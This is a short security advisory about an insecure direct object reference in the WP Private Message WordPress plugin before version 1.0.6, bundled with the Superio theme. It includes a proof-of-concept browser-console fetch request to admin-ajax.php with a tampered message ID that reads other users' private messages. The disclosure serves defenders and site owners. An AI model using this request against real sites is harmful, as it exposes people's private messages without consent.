WP Private Message < 1.0.6 - Private Message Disclosure via IDOR

The plugin (bundled with the Superio theme as a required plugin) does not ensure that private messages to be accessed belong to the user making the requests. This allowing any authenticated users to access private messages belonging to other users by tampering the ID.

PoC

- Install the Superio theme and its WP Private Message bundled plugin. - Create a new private message in the backend. - Log in as a different user. - Generate a nonce for the logged-in user. - From the browser console, run the following request, replacing the NONCE and MESSAGE_ID: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=wp_private_message_choose_message&nonce;=NONCE&message;_id=MESSAGE_ID", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); - See the message data.